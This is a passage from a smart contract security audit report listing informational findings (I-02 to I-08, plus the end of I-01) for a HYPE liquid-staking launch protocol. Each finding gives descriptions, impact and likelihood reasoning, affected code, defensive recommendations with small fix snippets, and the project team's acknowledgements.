- `src/gate/CompositeGate.sol:122–138`
- `src/gate/MultiplexerGate.sol:132–148`
- `src/interfaces/IEXGate.sol:94–160`

Recommendation

Treat sender-based gate policies as incompatible with EXRouter unless the integration explicitly accounts for the router as the manager-level caller. Markets that require per-user withdrawal restrictions such as holding periods, cooldowns, or sender allowlists should direct users to call `EXManager.withdraw()` directly.

If future router support for sender-based gates is desired, consider adding a trusted-forwarder pattern for routed withdrawals. A manager function such as `withdrawFrom(address owner, uint256 shares, address recipient, bytes memory data)` could be callable only by approved routers. The router would call this function with `owner = msg.sender`, and `EXManager` would forward `owner` rather than the router address as the gate `sender`. Direct `EXManager.withdraw()` calls would continue using `msg.sender` as `sender`.

Alternatively, extend the gate hook interface to include a separate authenticated `owner` or `initiator` parameter alongside the immediate `caller`, and update gate documentation to clarify which field should be used for user-level withdrawal policy.

Do not rely on user-supplied `data` to identify the original caller unless the manager or gate verifies it cryptographically and binds it to the actual withdrawal, because users could otherwise spoof the identity passed to the gate.

COMMENTS

Project Team

Severity adjustment (Low → Informational). Acknowledged (docs) in `a8a4a51` (PR #90). Documented routing constraint — sender-based gate policies (holding-period gates, sender allowlists) are incompatible with EXRouter and require direct EXManager interactions. The `EXManager.deposit/withdraw` parameter `data` is forwarded faithfully; only `msg.sender` differs from a direct call. Documented in EXRouter natspec and the README gate-trust-model section.

I-02 Pre-bond markets can bloat shared emergency registries

Status Acknowledged

Severity Severity: Informational ≈ Impact: Low × Likelihood: Low

Summary

The factory registers each new market's Router in the shared FacetRegistry and authorizes its launch contracts in the shared PauserRegistry immediately upon deployment, even though the market remains unbonded and may later be cancelled with a full bond refund. This increases registry cardinality during the cancellation time-lock, but the 1,000+ HYPE operator bond required for each concurrent market economically bounds feasible growth to practical registry sizes.

Description

`EXFactory.deployMarket()` unconditionally registers each per-market Router in the shared `FacetRegistry` and authorizes `EXManager`, `EXLST`, and `BlockedWithdrawalQueue` in the shared `PauserRegistry` during initialization, before the market has bonded. The factory escrows the operator bond and snapshots a cancellation deadline as `block.timestamp + globalConfig.unwindDelay()`, and the bond is refundable once the deadline passes if the market remains unbonded.

`_initializeLSTInfra()` calls `facetRegistry.registerInstances([router])` and `facetRegistry.upgradeInstanceToLatest(router)` to wire the Router's facets. `_initializeLaunchInfra()` then calls `pauserRegistry.authorizeContract()` for the three launch contracts. All of this happens before `bondMarket()` is invoked or the market becomes active.

`PauserRegistry.emergencyPauseAll()` iterates over all entries in `_authorizedContracts`, pausing each contract in sequence. `FacetRegistry.replace(oldFacet, newFacet)` similarly iterates over all entries in `_instances` to perform facet-wide router upgrades. The gas cost of these loops scales linearly with the number of registered markets.

A deployer with substantial HYPE capital could maintain multiple pre-bond markets during the cancellation delay, later call `cancelMarket()` to recover the bond and remove the old entries, then deploy fresh markets with the recovered capital. However, each concurrent market requires at least `globalConfig.minOperatorBond()` HYPE locked in the factory. With the documented 1,000+ HYPE minimum bond, feasible registry growth is bounded to hundreds of deployments even for a deep-pocketed actor, which remains within practical iteration gas budgets for `emergencyPauseAll()` on HyperEVM.

Impact Explanation

The affected value is protocol emergency-operational capacity rather than user funds. A large number of permissionlessly deployed, still-unbonded markets

increases `PauserRegistry._authorizedContracts` by three entries per market and `FacetRegistry._instances` by one entry per market. Because `PauserRegistry.emergencyPauseAll()` and `FacetRegistry.replace()` iterate those sets without pagination, registry-wide operations become more expensive as market count grows.

In practice, the required 1,000+ HYPE bond per concurrent market bounds feasible growth to registry sizes that should remain within `emergencyPauseAll()` 's practical iteration gas budget on HyperEVM. No actual service degradation is expected at realistic attacker scale. Targeted per-contract pausing through `pauseContract()` also remains available, and unbonded markets have no user deposits.

Likelihood Explanation

The entry point is permissionless and the factory unconditionally registers the router and authorizes launch contracts before activation or bonding. The constraint is economic: every concurrent market requires at least `globalConfig.minOperatorBond()` HYPE locked in the factory until `cancelEligibleAt` .

With the documented 1,000+ HYPE floor, maintaining hundreds of concurrent markets would require hundreds of thousands of HYPE locked, plus deployment and cancellation gas. This economic deterrent is the load-bearing control and makes meaningful exploitation low-likelihood.

Affected Code

- `src/EXFactory.sol:148-205`
- `src/EXFactory.sol:396-502`
- `src/EXFactory.sol:516-595`
- `src/EXFactory.sol:246-280`
- `lib/lst/src/PauserRegistry.sol:105-118`
- `lib/lst/src/FacetRegistry.sol:493-519`
- `lib/lst/src/FacetRegistry.sol:540-620`

Recommendation

No immediate change is required solely to defend against pre-bond registry growth, because the per-market HYPE bond economically bounds feasible registry cardinality. Deferring registration until `bondMarket()` may add complexity for limited security benefit.

As a defense-in-depth improvement, consider adding paginated or range-based helpers for registry-wide operations so large registries can always be processed over multiple transactions. For example, `PauserRegistry` could expose a bounded `pauseContracts(uint256 startIndex, uint256 count)` helper, and `FacetRegistry` could expose a bounded `replaceInRange(oldFacet, newFacet, uint256 startIndex, uint256 count)` helper. These additions would preserve current all-at-once flows for small registries while giving operators a controlled fallback if registry size grows over time.

COMMENTS

Project Team

Severity adjustment (Low → Informational). Acknowledged in `a8a4a51` (PR #90). The 1k HYPE bond per market is the load-bearing economic deterrent. Even a deep-pocketed attacker is bounded to ~100s of deployments, well within `emergencyPauseAll` 's practical iteration gas budget on HyperEVM. Deferring registration until `bondMarket` adds complexity that defends against an economically-deterred attack.

I-03 Share-denominated whitelist caps can block funding recovery after slashing

Status: Acknowledged

Severity: Severity: Informational ≈ Impact: Low × Likelihood: Low

Summary

A market protected by `WhitelistGate` during the `FUNDING` phase enforces immutable per-user and per-tier caps denominated in raw EXLST shares, while the launch requirement in `EXManager.fund()` is denominated in HYPE value. If the reserve LST exchange rate declines before the market reaches the launch floor, recapitalizing deposits may revert on whitelist share limits even when the underlying EXLST supply cap has sufficient headroom. Admin recourse exists: the gate manager can disable whitelist enforcement to allow deposits without per-recipient whitelist caps, or the operator can unwind the market and relaunch.

Description

The `WhitelistGate` mechanism tracks cumulative EXLST shares minted per user and per tier through `whitelistMintsPerUser` and `whitelistMintsPerTier` mappings. These counters are checked in `WhitelistGate.onDeposit()` against immutable `perUserMintCap` and `globalMintCap` values established at gate initialization. The caps are validated once during `initialize()` against the then-current `exLST.supplyCap()` and are never adjusted afterward, as `_setWhitelistTiers()` has no public update path.

When users deposit HYPE into an EXManager market, `EXManager.deposit()` stakes the HYPE through the staking manager, which mints ghost LST at the current exchange rate. The ghost LST amount is then converted to EXLST shares pro rata to existing reserves and total supply. The resulting `sharesOut` value is passed to `WhitelistGate.onDeposit()`, which increments the cumulative share counters and reverts with `PerUserTierMintCapBreached` or `GlobalTierMintCapBreached` if the new total exceeds the configured caps.

The market's launch condition in `EXManager.fund()` checks that reserves satisfy `GlobalConfig.marketTiers(marketTier).minHypeStake`, which is denominated in HYPE value via `_checkMinHypeStakeSatisfied()`. If a valid exchange-rate decrease occurs in the reserve LST while the market remains in `FUNDING`, each ghost LST share represents less HYPE value. Restoring the same HYPE-denominated floor then requires minting additional EXLST shares per unit of HYPE deposited. The whitelist's share-denominated caps may reject these recapitalizing deposits before the HYPE floor is reached, even if the EXLST token supply cap itself permits the mint.

While the whitelist is enabled, `WhitelistGate.onWithdraw()` blocks all `FUNDING` withdrawals, preventing users from exiting the market through normal channels. This combination can localize the market: users willing to restore the HYPE floor cannot deposit due to share-cap exhaustion, `fund()` continues to revert because reserves are below the tier minimum, and users cannot withdraw until a manager disables the whitelist or a privileged role initiates unwind after the configured delay.

The share-denominated supply-cap design is an architectural choice that supports predictable allocation and tier-registry coherence. The main residual risk is operational: recovery depends on use of the available admin recourse paths.

Impact Explanation

A whitelisted market in `FUNDING` can become unable to launch and deny user exits when reserve value loss creates a mismatch between the HYPE-denominated launch floor and the immutable share-denominated whitelist caps. Recapitalizing deposits

may revert on whitelist limits while the market remains below the tier minimum, and users cannot withdraw permissionlessly during `FUNDING` while the whitelist is active.

Impact is limited by available admin recourse. The gate manager can disable whitelist enforcement, allowing subsequent deposits to proceed without per-recipient whitelist caps. Alternatively, the operator can unwind the market and relaunch. No funds are directly lost, but launch and liquidity may be delayed if these recourse paths are not used promptly.

Likelihood Explanation

The condition requires an optional WhitelistGate deployment with insufficient post-slash share headroom, a material legitimate exchange-rate decrease while the market is still in `FUNDING`, and failure to use the available admin recourse paths. No ordinary attacker controls the triggering exchange-rate event or the whitelist configuration choices.

Affected Code

- `src/gate/WhitelistGate.sol:133-161,178-246,274-304,310-325`
- `src/EXManager.sol:286-297,483-512`
- `src/GlobalConfig.sol:300-363`

Recommendation

Document the intended recovery process for WhitelistGate deployments in post-slash recapitalization scenarios. The documented procedure should cover disabling whitelist enforcement through the gate manager so deposits can proceed without per-recipient whitelist caps, and using the operator unwind and relaunch path when appropriate.

If additional operational flexibility is desired, consider adding a governance-controlled mechanism to increase whitelist tier capacity after a time delay, with clear events and validation safeguards. Another option is an emergency mode that relaxes `FUNDING` withdrawal blocking or cap enforcement when the market is verifiably below the tier floor after a slashing event.

A more structural option is to track whitelist funding limits in HYPE value rather than raw EXLST shares. When enforcing caps in `onDeposit()`, convert the current share amounts to HYPE-equivalent value using the prevailing reserve exchange rate, then compare against HYPE-denominated tier limits. This approach aligns the whitelist allocation mechanism directly with the launch floor denomination, but it should be

weighed against the existing architectural goal of predictable share-denominated caps and tier-registry coherence.

Any recovery path should include documented events and access controls to balance operational flexibility with protection against unintended or adversarial cap expansion. Clear documentation of the intended behavior during reserve value loss will help market deployers size whitelist tiers appropriately or choose alternative gate configurations when exchange-rate risk is material.

COMMENTS

Project Team

Severity adjustment (Low → Informational). Acknowledged in `a8a4a51` (PR #90). Architectural class with L-07 — admin recourse: gate manager disables whitelist via `setWhitelistEnabled(false)` so post-FUNDING deposits flow without per-recipient caps, or operator unwinds the market and re-launches.

I-04 Permissionless BWQ processing can fragment blocked withdrawal confirmations

Status Acknowledged

Severity Severity: Informational ≈ Impact: Low × Likelihood: Low

Summary

Permissionless calls to `processBlockedWithdrawals()` can split a single large blocked withdrawal into many small staking-manager withdrawal requests when the caller repeatedly processes only minimal above-floor capacity. Each partial processing pass appends another `QueuedBatch` to the victim's `BlockedWithdrawal` entry, and the array of queued batches grows without per-withdrawal limits. Recipients must later confirm all accumulated batch indices through one large transaction or many separate calls, increasing gas costs and confirmation complexity.

Description

The `BlockedWithdrawalQueue` processes blocked withdrawals in FIFO order through `processBlockedWithdrawals()` at `src/BlockedWithdrawalQueue.sol:164–237`. The function calculates available

above-floor capacity via `_withdrawableShares()`, then iterates from `lastProcessedBlockedWithdrawal + 1` processing each entry. For each entry, it requires only that available shares meet `min(remainingGhostShares, bwqChunkSize)` before proceeding. The function computes `sharesToQueue = min(nextItem.remainingGhostShares, withdrawableShares)`, appends a `QueuedBatch` struct containing the staking-manager withdrawal ID and HYPE owed, and calls `_processQueueWithdrawal()` to submit the batch.

When an entry is only partially processed, `remainingGhostShares` is non-zero and the loop breaks without incrementing `lastProcessedBlockedWithdrawal`, leaving the current entry as the FIFO head. Subsequent calls append additional `QueuedBatch` entries to the same `BlockedWithdrawal.queuedBatches` array until `remainingGhostShares` reaches zero.

An attacker can exploit this behavior by depositing enough HYPE into the live market to create approximately one chunk of processable capacity, then immediately calling `processBlockedWithdrawals()` before larger natural or honest processing occurs. Repeating this cycle forces the FIFO head withdrawal to accumulate many small batches. The attacker does not require privileged access and receives exLST for their deposits, making the attack primarily a capital-lock griefing vector.

The recipient must later call `confirmBlockedWithdrawal()` at `src/BlockedWithdrawalQueue.sol:239–270` with all relevant `queuedBatchIndices`. Each additional fragment increases the indices array size, gas costs, and transaction complexity. Large arrays can make one-shot confirmation impractical under block gas limits, forcing the recipient to confirm over multiple transactions.

Impact Explanation

The attack increases confirmation complexity and gas costs for recipients of large blocked withdrawals without compromising fund ownership or reserve accounting. No value is directly at risk. Each forced fragment creates a separate `QueuedBatch` entry that requires inclusion in later `confirmBlockedWithdrawal()` calls. The recipient's funds remain accessible through partial confirmations across multiple transactions, and every queued batch represents real progress on the withdrawal.

The practical impact is bounded by the configured `bwqChunkSize`. With the current GlobalConfig default of 100,000 HYPE, fragmentation is limited to dozens of batches for typical recipients. Operators can configure `bwqChunkSize` generously to bias the system against excessive fragmentation. The harm is localized to liveness and UX degradation for specific recipients, with operational costs scaling with the number of fragments an attacker can economically create.

Likelihood Explanation

The entrypoint is permissionless and reachable by design, but fragmentation impact is bounded by `bwqChunkSize` configuration. Fragmentation also depends on the attacker repeatedly depositing real HYPE into the live market to manufacture small amounts of above-floor capacity. Each non-final partial fragment must satisfy the configured chunk size, and the attacker's capital remains locked behind the queue.

Affected Code

- `src/BlockedWithdrawalQueue.sol:164-237`
- `src/BlockedWithdrawalQueue.sol:239-270`
- `src/interfaces/IBlockedWithdrawalQueue.sol:16-20`

Recommendation

Add a per-withdrawal fragment cap or minimum partial-processing policy to limit how many `QueuedBatch` entries can accumulate for a single `BlockedWithdrawal`. After an entry already has several pending fragments, require new processing calls to fully consume the remaining entry or meet a larger minimum amount that scales with the withdrawal size. This prevents attackers from choosing pathological timing to create excessive fragmentation.

Consider tracking the number of unconfirmed batches per entry and enforcing a maximum:

```
uint256 constant MAX_UNCONFIRMED_BATCHES = 10;

// In processBlockedWithdrawals(), before appending:
if (nextItem.queuedBatches.length >= MAX_UNCONFIRMED_BATCHES) {
    // Require full consumption or skip this entry
    if (sharesToQueue < nextItem.remainingGhostShares) {
        break;
    }
}
```

Operators should also configure `bwqChunkSize` at a level that balances processing liveness with fragmentation resistance. Larger chunk sizes reduce the number of partial batches that can be created for a typical blocked withdrawal.

Additionally, provide paginated queued-batch getters or convenience claim helpers so frontends and users do not need to enumerate or submit entire dynamic arrays. A helper function that automatically confirms all pending batches for a given

`blockedWithdrawalId` would reduce the UX burden for recipients facing fragmented withdrawals.

COMMENTS

Project Team

Severity adjustment (Low → Informational). Acknowledged in `a8a4a51` (PR #90). UX degradation only — `bwqChunkSize` (currently 100k HYPE per GlobalConfig default) bounds practical fragmentation to dozens of batches per typical recipient. Operator can configure `chunkSize` generously to bias against fragmentation. No value at risk.

I-05 Paused blocked withdrawal queue still accepts new liabilities

Status Acknowledged

Severity Severity: Informational ≈ Impact: Low × Likelihood: Low

Summary

`BlockedWithdrawalQueue` applies pause guards to blocked withdrawal processing and confirmation, but not to `queueBlockedWithdrawal()`. The function is only callable by `EXManager`, and the operational pause-discipline invariant requires pausing `EXManager` whenever pausing the blocked withdrawal queue. If that invariant is not followed during a pause event, new blocked withdrawals may still enter the paused queue through the normal `EXManager.withdraw()` path.

Description

`BlockedWithdrawalQueue.queueBlockedWithdrawal()` accepts new blocked withdrawal liabilities without a `whenNotPaused` modifier. The function checks that `msg.sender` is `EXManager`, validates the share amount and recipient, transfers ghost LST into the queue, and records a blocked withdrawal claim.

The ingress path is not externally reachable by users directly. Users can only reach it through `EXManager.withdraw()`, which routes residual shares to `_queueBlockedWithdrawals()` when immediate withdrawal capacity is unavailable. `_queueBlockedWithdrawals()` burns the user's EXLST, approves ghost LST for the blocked withdrawal queue, and calls `queueBlockedWithdrawal()`.

The protocol's emergency pause discipline, documented under the F-19 emergency runbook, requires pausing `EXManager` whenever pausing the blocked withdrawal

queue. When this invariant is followed, `EXManager.withdraw()` is unavailable and new blocked withdrawals cannot be queued. The issue therefore depends on operator misconfiguration during a pause event rather than an independently reachable user path.

If the blocked withdrawal queue is paused without also pausing `EXManager`, users whose withdrawals route to the blocked queue may have EXLST burned and ghost LST deposited into a queue whose processing and confirmation functions are paused. The claims remain backed and can resume after unpause, but users do not have a cancellation path while the queue remains paused.

Impact Explanation

The impact is limited by the `msg.sender == address(exManager)` gate and the protocol pause-discipline invariant. Under the intended emergency procedure, pausing `EXManager` together with the blocked withdrawal queue prevents new ingress.

If the invariant is broken, affected users may temporarily lose liquidity because their EXLST is burned and their claim must wait for the blocked withdrawal queue to resume processing. The funds remain represented by blocked withdrawal state and backed by ghost LST held by the queue.

Likelihood Explanation

The scenario requires operator misconfiguration during a pause event: the blocked withdrawal queue must be paused while `EXManager` remains unpaused. It is not reachable absent that pause-discipline failure.

Additional conditions must also hold: the market must allow withdrawals, blocked routing must be required, and the user must submit a withdrawal that permits blocked shares. Users using router-level constraints such as a strict `maxBlockedShares` parameter can avoid unexpected blocked routing.

Affected Code

- `src/BlockedWithdrawalQueue.sol:133-163,165-237,240-270`
- `src/EXManager.sol:520-571,669-682,808-827`

Recommendation

Maintain the emergency pause-discipline invariant that `EXManager` is paused whenever `BlockedWithdrawalQueue` is paused. This operational control prevents

the only ingress path into `queueBlockedWithdrawal()` during a blocked withdrawal queue pause.

As a defensive enhancement, consider adding `whenNotPaused` to `BlockedWithdrawalQueue.queueBlockedWithdrawal()`. This makes the queue enforce its own pause state on ingress and reduces reliance on coordinated operator action.

```
function queueBlockedWithdrawal(uint256 blockedShares, address
recipient)
    external
+   whenNotPaused
    returns (uint256 blockedWithdrawalId)
{
    // Only EXManager can queue blocked withdrawals
    if (msg.sender != address(exManager)) {
        revert Errors.InvalidSender();
    }
    // ... rest of function
}
```

With this guard, a withdrawal that requires blocked routing while the blocked withdrawal queue is paused will revert atomically, preserving the user's EXLST and allowing the user to retry after the queue is unpaused.

COMMENTS

Project Team

Severity adjustment (Low → Informational). Acknowledged in `a8a4a51` (PR #90). `queueBlockedWithdrawal` is only reachable via `EXManager.withdraw` (gated `msg.sender == address(exManager)`). Protocol pause-discipline invariant: pause EXManager whenever pausing BWQ. Adding `whenNotPaused` on BWQ ingress would be belt-and-suspenders; the operational pause discipline is the load-bearing piece (documented under the F-19 emergency runbook).

I-06 Protocol operator can forge slashing reports to brick market accounting

Status Acknowledged

Severity Severity: Informational ≈ Impact: Low × Likelihood: Low

Summary

A trusted `PROTOCOL_OPERATOR_ROLE` holder can submit unbounded cumulative slashing values through the factory-wired oracle pipeline. If the operator key acts maliciously or is compromised, those values can be recorded in `ValidatorManager` and may make `StakingAccountant` accounting insolvent, causing share-to-HYPE conversions to revert for the affected market.

This path requires control of a trusted Kinetiq bot key under managed mode. Operator-key compromise is outside the documented V2 mainnet threat model and is primarily a defense-in-depth hardening concern.

Description

The Launch factory wires `ProtocolRolesController` into both the write and read sides of the per-market oracle pipeline by granting `PROTOCOL_OPERATOR_ROLE` access to `DefaultOracle.updateValidatorMetrics()` and `OracleManager.generatePerformance()` .

When the operator calls `updateValidatorMetrics()` on the factory-deployed `DefaultOracle` , the method accepts cumulative `slashing` and `reward` values without an upper bound. The only constraints are that `performanceScore` must not exceed `BASIS_POINTS` and that `MIN_UPDATE_INTERVAL` has elapsed since the last update.

After metrics are written to `DefaultOracle` , the same operator role can call `generatePerformance()` on the per-market `OracleManager` . This method reads the cumulative slash from the oracle adapter, computes `newSlashAmount = avgSlashAmount - previousSlashing` , and passes it to `ValidatorManager.reportSlashingEvent()` without checking whether the new slash would make the accountant insolvent or bounding it against validator balance or elapsed time. The optional `sanityChecker` is not configured by the factory.

Once `ValidatorManager` records the slash, `StakingAccountant._getExchangeRatio()` computes:

```
totalStaked + rewardsAmount - totalClaimed - slashingAmount
```

If `slashingAmount` is large enough to make this expression underflow, calls to `kHYPEToHYPE()` or `HYPEToKHYPE()` revert. These conversions are used by quote, deposit, withdrawal, withdrawal confirmation, and reserve-floor checks throughout the Launch stack.

This behavior is gated by a privileged `PROTOCOL_OPERATOR_ROLE` account. Under managed mode, that role is a trusted Kinetiq bot key and is expected to be

protected through operational controls such as key rotation and signing isolation.

Impact Explanation

If a trusted operator key submits a forged cumulative slashing value that exceeds available accounted value, the affected market's exchange-ratio calculation may revert due to arithmetic underflow. Users may be unable to obtain quotes, deposit, withdraw, or confirm withdrawals until privileged recovery or upgrade action corrects the accounting state.

The impact is low under the documented threat model because the required actor is a trusted managed-mode protocol operator. Operator-key compromise is outside the V2 mainnet threat model and is mitigated operationally through managed key controls.

Likelihood Explanation

Exploitation requires control, compromise, or misuse of a privileged `PROTOCOL_OPERATOR_ROLE` account on `ProtocolRolesController`. This is not an unprivileged user attack path.

The likelihood is low because the role is assigned to a trusted Kinetiq bot key under managed mode and is protected by operational hygiene, including key rotation and signing isolation.

Affected Code

- `lib/lst/src/oracles/DefaultOracle.sol:44-80`
- `lib/lst/src/OracleManager.sol:190-293`
- `lib/lst/src/StakingAccountant.sol:167-211`
- `src/ProtocolRolesController.sol:175-262`
- `src/EXFactory.sol:380-520,620-658`

Recommendation

As future hardening, configure an optional per-market `SanityChecker` to bound cumulative slashing within an oracle window. The checker should reject slashing deltas that are inconsistent with validator balance, elapsed time, and configured tolerance limits.

Operational controls for the trusted operator key should continue to include signing isolation, monitoring, and key rotation. If stronger on-chain containment is desired, add accounting bounds in `OracleManager.generatePerformance()` so slashing

updates cannot make `totalClaimed + totalSlashing` exceed `totalStaked + totalRewards`.

Proof-of-Concept

A test using the factory-deployed `DefaultOracle -> OracleManager -> ValidatorManager -> StakingAccountant` path demonstrates that a `PROTOCOL_OPERATOR_ROLE` holder can submit a cumulative slash above the market's accounted value, consume it through `OracleManager.generatePerformance()`, and record it in `ValidatorManager`.

After the forged slash is recorded, `StakingAccountant._getExchangeRatio()` underflows. The demonstrated effects are failed EXLST-to-HYPE quotes, failed new deposits, and failed withdrawals for the affected market.

COMMENTS

Project Team

Severity adjustment (Medium → Informational). Acknowledged in `a8a4a51` (PR #90). `PROTOCOL_OPERATOR_ROLE` is a trusted Kinetiq bot key under managed mode (OQ-6); operator-key compromise is out-of-scope for V2 mainnet, protected by operational hygiene (key rotation, signing isolation). Future hardening: optional per-market `SanityChecker` to bound cumulative slashing within an oracle window.

I-07 Zero-value slashing settlements revert in Launch withdrawal confirm paths

Status: Acknowledged

Severity: Severity: Informational ≈ Impact: Low × Likelihood: Low

Summary

When a queued withdrawal's slashing-adjusted payout drops to exactly zero, Launch's single-withdrawal confirmation wrappers revert rather than settling the request through those paths. This can leave BWQ batch records pending and recipient `hypeOwed` entries uncleared until the emergency unwind flow routes the request through the documented zero-tolerant `batchConfirmWithdrawals` path.

Description

Launch confirms withdrawals from KIP-2 staking managers through a slashing-aware facet that computes the adjusted payout as `min(originalHypeAmount, stakingAccountant.kHYPEToHYPE(request.kHYPEAmount))`. When a catastrophic slashing event reduces the recomputed HYPE amount to zero, `SlashingAwareWithdrawalFacet._processConfirmation()` returns zero after performing internal state updates. The public `confirmWithdrawal()` wrapper in the inherited `QueuedWithdrawalFacet` immediately reverts with `InvalidWithdrawal` when `amount == 0`, rolling back all internal deletion, burn, and accounting operations.

Both `BlockedWithdrawalQueue._confirmBatchWithdrawal()` and `EXManager.confirmWithdrawal()` use `LSTPayments._confirmWithdrawal()`, which calls the reverting single-confirmation entrypoint. For BWQ, the revert prevents `_confirmBatchWithdrawal()` from recording `hypeReceived = 0` and setting the batch status to `CONFIRMED`. Consequently, `_confirmPartialWithdrawals()` does not clear the affected recipient's `hypeOwed` through the normal permissionless path, and users sharing the same underlying staking-manager request remain pending until the emergency operator runbook routes settlement through the zero-tolerant batch confirmation path. The same wrapper is used for regular Launch withdrawals, so the zero-settlement revert affects both BWQ and non-BWQ single-confirm flows.

The codebase already provides a zero-tolerant `batchConfirmWithdrawals` path that does not revert on zero total payout. The issue is a mismatch between the slashing-aware facet's ability to process zero-value outcomes and the single-confirm wrapper's requirement that the result be strictly positive. This condition is expected only when slashing approaches 100%, where the market is being unwound through manual operator action rather than normal operation.

Impact Explanation

If a queued withdrawal's slashing-adjusted value becomes exactly zero, the normal Launch single-confirm wrappers cannot finalize it. For BWQ, this leaves the batch `PENDING`, `hypeReceived` unset, and recipient portions sharing that `smid` with nonzero `hypeOwed` uncleared through the permissionless flow. The affected users have no positive HYPE payout at the zero-rate moment, so this is not theft or loss of currently withdrawable value. At near-100% slash severity, the market is expected to be unwound through manual operator action, and routing through the zero-tolerant `batchConfirmWithdrawals` path is the documented runbook step.

Likelihood Explanation

The user-facing confirm entrypoints are permissionless and live, but the decisive condition is not normally attacker-controlled calldata. A user must already have queued a withdrawal while it had nonzero expected value, and before confirmation the market must suffer a full or effectively rounding-to-zero slashing adjustment. Ordinary partial slashing is handled by the slashing-aware facet and BWQ pro-rata logic. The revert path is reachable only when slashing approaches 100%, which is an emergency-only scenario.

Affected Code

- `src/facets/SlashingAwareWithdrawalFacet.sol:31–67`
- `src/base/LSTPayments.sol:88–96`
- `src/BlockedWithdrawalQueue.sol:331–382`

Recommendation

Keep the documented catastrophic-slash runbook aligned with the zero-tolerant `batchConfirmWithdrawals` path so zero-value settlements can be unwound manually when the market approaches a full slash. The runbook should include prechecks that verify the staking-manager request exists and is mature before routing through the zero-tolerant path, because the batch wrapper can return successfully for nonexistent or immature requests with zero total.

As a defense-in-depth improvement, consider adding a zero-tolerant Launch confirmation helper for EXManager and BWQ that performs the same deletion, burn, and accounting operations as the single-withdrawal path but does not revert solely because the adjusted payout is zero. This variant should still validate maturity and request existence, emit appropriate events, record `hypeReceived = 0`, mark BWQ batches confirmed, and clear affected `hypeOwed` entries after verified zero settlement. Consider whether zero-value confirmations should emit a distinct event for observability.

COMMENTS

Project Team

Severity adjustment (Low → Informational). Acknowledged in `a8a4a51` (PR #90). Catastrophic-slash edge (near-100% loss). At that severity the market is being unwound

through manual operator action; routing through the zero-tolerant `batchConfirmWithdrawals` path is the documented operator runbook step.

I-08 Protocol operator can bypass Launch withdrawal accounting through raw Router L1 operations

Status: Acknowledged

Severity: Severity: Informational ≈ Impact: Low × Likelihood: Low

Summary

`PROTOCOL_OPERATOR_ROLE` can use `ProtocolRolesController` to call raw Router L1 operation functions for a market, including queueing and processing `UserWithdrawal` operations outside the normal Launch withdrawal flow. This can create temporary divergence between Launch-side accounting and HyperCore delegation state because the raw Router path does not burn EXLST, create Launch withdrawal records, process the blocked-withdrawal queue, snapshot Launch fees, or enforce the LIVE tier `minHypeStake` floor.

This behavior is an intentional privileged escape hatch for recovery and manual flush scenarios. If these paths are used outside the normal Launch flow, off-chain reconciliation between Launch accounting and HyperCore delegation is expected.

Description

The `ProtocolRolesController` bootstrap allowlist grants `PROTOCOL_OPERATOR_ROLE` access to `L1OperationsFacet.queueL1Operations()` and `L1OperationsFacet.processL1Operations()` on each market Router. Through the controller, an operator can queue raw Router L1 operations with arbitrary operation types, including `OperationType.UserWithdrawal`, and then process the queue.

The normal Launch withdrawal path routes through `EXManager.withdraw()` and, when applicable, `BlockedWithdrawalQueue.processBlockedWithdrawals()`. Those paths handle EXLST transfer and burn accounting, user withdrawal records, blocked-withdrawal FIFO behavior, fee accounting, and the LIVE tier minimum stake floor check.

The raw Router L1-operation path sits below that wrapper. `queueL1Operations()` performs array-length checks, queue-size checks, and validator-active checks for

deposit operations. `processL1Operations()` then processes pending withdrawals through `_processL1Withdrawals()`, which emits HyperCore delegation and withdrawal actions. For a queued `UserWithdrawal`, this emits both `sendTokenDelegate(validator, amount, true)` and `sendCWithdrawal(amount)` without updating Launch wrapper state.

`AdminFacet.executeEmergencyWithdrawal()` provides a related privileged recovery path under the Router sentinel role by directly emitting `sendTokenDelegate(validator, amount, true)`. This path is also outside Launch withdrawal accounting.

These functions are intended administrative controls. They support recovery and manual operations, including the L-15 / oracle freshness manual-recovery procedure. Removing access to `queueL1Operations()` or `processL1Operations()` would impair those operational procedures.

Impact Explanation

If a privileged operator uses raw Router withdrawal operations outside the normal Launch flow, HyperCore delegation may change while Launch EVM accounting remains unchanged. Launch may continue to report the same ghost LST reserves, EXLST supply, Router `totalStaked`, and calculated `availableWithdrawals()` until operators reconcile the discrepancy.

This may affect operational visibility and require manual reconciliation. The path is privileged and intentional, and divergence is expected to be handled as part of recovery or manual-flush procedures.

Likelihood Explanation

This path requires control, compromise, or misuse of `PROTOCOL_OPERATOR_ROLE` or the relevant recovery role. It is not reachable by unprivileged users. The functions are intended for operational use outside the normal user-facing withdrawal path.

Affected Code

- `src/ProtocolRolesController.sol:175-236`
- `lib/lst/src/facets/L1OperationsFacet.sol:48-80,91-116,140-176`
- `lib/lst/src/facets/AdminFacet.sol:240-279`
- `src/EXManager.sol:516-571,772-825`
- `src/BlockedWithdrawalQueue.sol:162-237,316-329`

Recommendation

Preserve the privileged raw L1-operation escape hatches required for recovery and manual flush scenarios, including the L-15 / oracle freshness manual-recovery procedure.

To reduce operational risk, consider strengthening surrounding controls rather than removing access:

- Maintain clear runbooks defining when `queueL1Operations()`, `processL1Operations()`, and emergency undelegation paths may be used.
- Require post-action reconciliation between Launch accounting and HyperCore delegation when raw Router operations are used outside the normal flow.
- Emit or index operational events that tie manual raw L1 actions to an incident, recovery ticket, or governance-approved procedure.
- Monitor for raw `UserWithdrawal` and emergency undelegation operations that do not correspond to normal Launch withdrawal state.
- Where practical, add pre-execution or post-execution checks that surface potential `minHypeStake` divergence without blocking approved recovery flows.

Proof-of-Concept

A test scenario demonstrates that a `PROTOCOL_OPERATOR_ROLE` caller can use `ProtocolRolesController.execute()` to call Router `L1OperationsFacet.queueL1Operations()` with `OperationType.UserWithdrawal`, then call `processL1Operations()` to emit HyperCore undelegation and withdrawal actions.

The demonstrated flow does not burn EXLST, create an `EXManager` withdrawal record, create Router withdrawal request owner state, route through the blocked-withdrawal queue, or enforce the LIVE `minHypeStake` floor. Launch-side accounting remains unchanged while the raw HyperCore action would reduce actual delegation if honored by HyperCore.

COMMENTS

Project Team

Severity adjustment (Medium → Informational). Acknowledged in `a8a4a51` (PR #90). `queueL1Operations` / `processL1Operations` are intentional admin escape hatches under `PROTOCOL_OPERATOR_ROLE` for recovery and manual flush scenarios; removing them would block the L-15 / oracle freshness manual-recovery procedure. Off-chain

reconciliation between Launch accounting and HyperCore delegation is expected if these paths are used outside the normal flow.